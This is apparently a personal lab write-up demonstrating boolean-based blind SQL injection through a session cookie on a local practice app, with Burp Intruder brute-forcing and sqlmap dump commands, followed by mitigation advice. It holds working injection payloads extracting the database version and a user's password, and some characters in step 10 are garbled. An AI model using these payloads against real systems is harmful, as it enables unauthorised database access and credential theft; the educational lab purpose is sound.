SQL Injection is one of the most critical vulnerabilities in web applications. However, not all SQL Injection flaws are directly visible. In many real-world scenarios, applications suppress database errors and do not return query results — making exploitation more challenging.
This is where Blind SQL Injection comes into play.
In this write-up, I demonstrate how to identify and exploit a Blind SQL Injection vulnerability through session cookies, leveraging indirect indicators such as response behavior and content length to extract sensitive data.
When to Use
Test for blind SQL injection when:
- Login fields or cookies are used to validate users
- Responses do not display database errors
- You observe different Content-Lengths or subtle changes in page behaviour
- Automated tools (sqlmap) report not injectable
Blind SQLi is common during the active exploitation phase after standard SQL injection attempts fail.
Objective
- Detect SQL injection through session cookies
- Extract hidden information from the database (version, passwords)
- Compare Content-Length changes to infer true/false statements
- Automate extraction using Burp Intruder and sqlmap
Prerequisites
- Burp Suite (Community or Pro)
- sqlmap
- Basic understanding of:
- SQL syntax
- Boolean-based blind SQLi
- Substring() function
- Cookies and sessions
- Browser configured to intercept requests
- Local vulnerable lab (i0x02)
Lab

Steps (Detailed Walkthrough)
1 — Test Application Functionality
Login using provided credentials:
username: jeremy
password: jeremy
we got "Welcome to this Dashboard" message , So it's the main functionality of this application
This confirms main functionality works and establishes baseline Content-Length.
2 — Check POST Request Content-Length
Inspect the POST request in Burp HTTP History.
Content-Length with valid login:
1928
3 — Test Invalid Credentials
Send this request to repeater (ctrl+r)
Before using a repeater, send a request

Change password:
From
password=jeremyTo
password=passwordSend request → Content-Length changes to:
2122
- Render the response (optional)

- Observing the CL change helps identify true/false indicators
4 — Attempt SQL Injection in Login Fields
Now try something like Username=jeremy' or 1=1#& password=password but we encode ' or 1=1# by selecting it and pressing
- ctrl+u or right click the selected part Convert selection →URL →URL-encode key characters ,it will went
From
username=jeremy' or 1=1#&password=passwordTo
username=jeremy'+or+1%3d1%23&password=passwordSend this request

we get the same 2122 length, but the desired response length was 1928,even if we tried with double quote, we failed again
It's a tricky situation, like even if our sql query is right, it still rejected by application, we don't get any less or more information
- Manual testing indicates login fields are filtered or not injectable
- Automated tool sqlmap will fail at this point
5 — Automate Using sqlmap (Fails)
Save request as request.txt and run in terminal:
sqlmap -r request.txt

As the "Critical" response is telling us all the tested parameters are not injectable
It's mean in this case automation technique is not working, we have to do it manually either by using list of payloads which we have to download or by using burp suite
Interpretation:
Automation fails → manual attack is required on cookies or other parameters.
6 — Focus on Session Cookie
Now we will see what application has else to offer
When we send a POST request cookie is set for it(After login, a session cookie is created)

and that cookie is used in next GET request

It's mean this application is processing this session cookie somewhere, because for this cookie we get "Welcome to dashboard message"
Send GET request to Repeater using this cookie:
Send the request, you will see the content lenght
Content-Length = 1027
length is 1027,and we got Welcome message as well, as below

7 — Test Cookie Integrity
Now we will try to break this session cookie, Modify cookie (add an "a" at the end) → CL changes → Welcome message disappears, content lenght is also changed to 1928

remove the "a", cookie will start working
- Indicates cookie is processed in backend SQL queries
- Injection is likely possible
8 — Test Blind SQL Injection on Cookie
Append payload:
' or 1=1#- CL = 1027 → True statement
- Welcome message appears (at the bottom i search for Welcom and 1 match is found)

- Only page behaviour changes → Boolean-based blind SQLi
9 Substring-based/payloads True/False Tests
We are gonna ask database yes or no questions for example:
- Is the first character of usernam is "a"? yes/no
- is first charcter of jeremy's password is "b"? yes/no
- Is password longer 20 characters? yes/no………………..etc
Such type of questions will help us to extract such information which is not displayed on screen
We are gonna use sub string
Syntax for substring:
substring('string', start, length)string=that we want to match
start=starting position
length=number of charactewrs we want to extract
Now we will use sub string with cookie
6967cabefd763ac1a1a88e11159957db' and substring('a',1,1)='a'#
as we can see we got same length and 1 match also,it means the statement is true
even if we send
6967cabefd763ac1a1a88e11159957db' and substring('alex',1,3)='ale'#it also returns true
but
6967cabefd763ac1a1a88e11159957db' and substring('l',1,1)='a'#this will be false and length will be changed,now hope so you understand how substring is working, but we are not gonna play match match, our point was to use something on the place of "string" in substring which retrurni us some information from database.
- This allows extracting hidden data one character at a time
10 — Extract Database Version
6967cabefd763ac1a1a88e11159957db' and substring((select version()),1,1)='7'#
length is changed and we found 0 highligts
if we replace ƍ' with Ǝ'

we got desired length with 1 match, it's mean whatever the version of databse is, it starts from 8
Now we will can make further guess like using
6967cabefd763ac1a1a88e11159957db' and substring((select version()),1,2)='8.'#
result is again positive, now we can try Ǝ.1',Ǝ.2' etc to guess the version, when we try Ǝ.0.3' it matches
So we have extracted the version of database of application
11 — Extract Password Using Substring + Intruder
6967cabefd763ac1a1a88e11159957db' and substring((select password from injection0x02 where username='jessamy'),1,1)='a'#but using this method will be so hectic, like i have to test 'b','c' and so on manually, i will use intruder instead by selecting 'a' and then marked it in Add& and add list a-to-z and 1-to-9 manually

and do a snipper attack

as we can see only 'z ' has different lengths from all other attempts, and it also retrieve the 1027 comtent length, it means, whatever the password of jessamy is, it starts from 'z'(it's not case sensitive instead of 'z' it might be 'Z' ), by doing this we can crack password but we also want to demonstrate sqlmap
12 — Automate Extraction Using sqlmap
Now we will use sqlmap
use url of browser and session cookie
sqlmap -u "<http://127.0.0.1/labs/i0x02.php?id=1>" --cookie="session=6967cabefd763ac1a1a88e11159957db" --level=3 --risk=2while this command is running, you will come across some questions, answer them according to your requirments

as you can see we find out payload for this session cookie, now run
sqlmap -u "<http://127.0.0.1/labs/i0x02.php?id=1>" --cookie="session=6967cabefd763ac1a1a88e11159957db" --level=3 --risk=2 --dumpThis will dump passwords for us, this is actually dumping things from every table not specifically from injection0x02
To speed it up i will use
sqlmap -u "<http://127.0.0.1/labs/i0x02.php?id=1>" --cookie="session=6967cabefd763ac1a1a88e11159957db" --level=3 --risk=2 --dump -T injection0x02
so we cracked the password for jessamy, which started from Z
somewher above,by using intruder we found out that the password starts from z which is proved now.
End of blind attacks….
Mitigation Strategies
To prevent Blind SQL Injection:
- Use prepared statements / parameterized queries
- Validate and sanitize all inputs (including cookies)
- Avoid dynamic query construction
- Implement proper error handling
- Apply least privilege access to database users
Conclusion
This lab demonstrated how Blind SQL Injection can be exploited even when no direct output or errors are visible.
By leveraging response differences and boolean logic, it is possible to extract sensitive data from the database step-by-step.
Understanding these techniques is essential for identifying hidden vulnerabilities and strengthening application security.
Connect With Me
If you found this write-up helpful, feel free to follow my cybersecurity learning journey.
🔗 LinkedIn: www.linkedin.com/in/laibakashif0011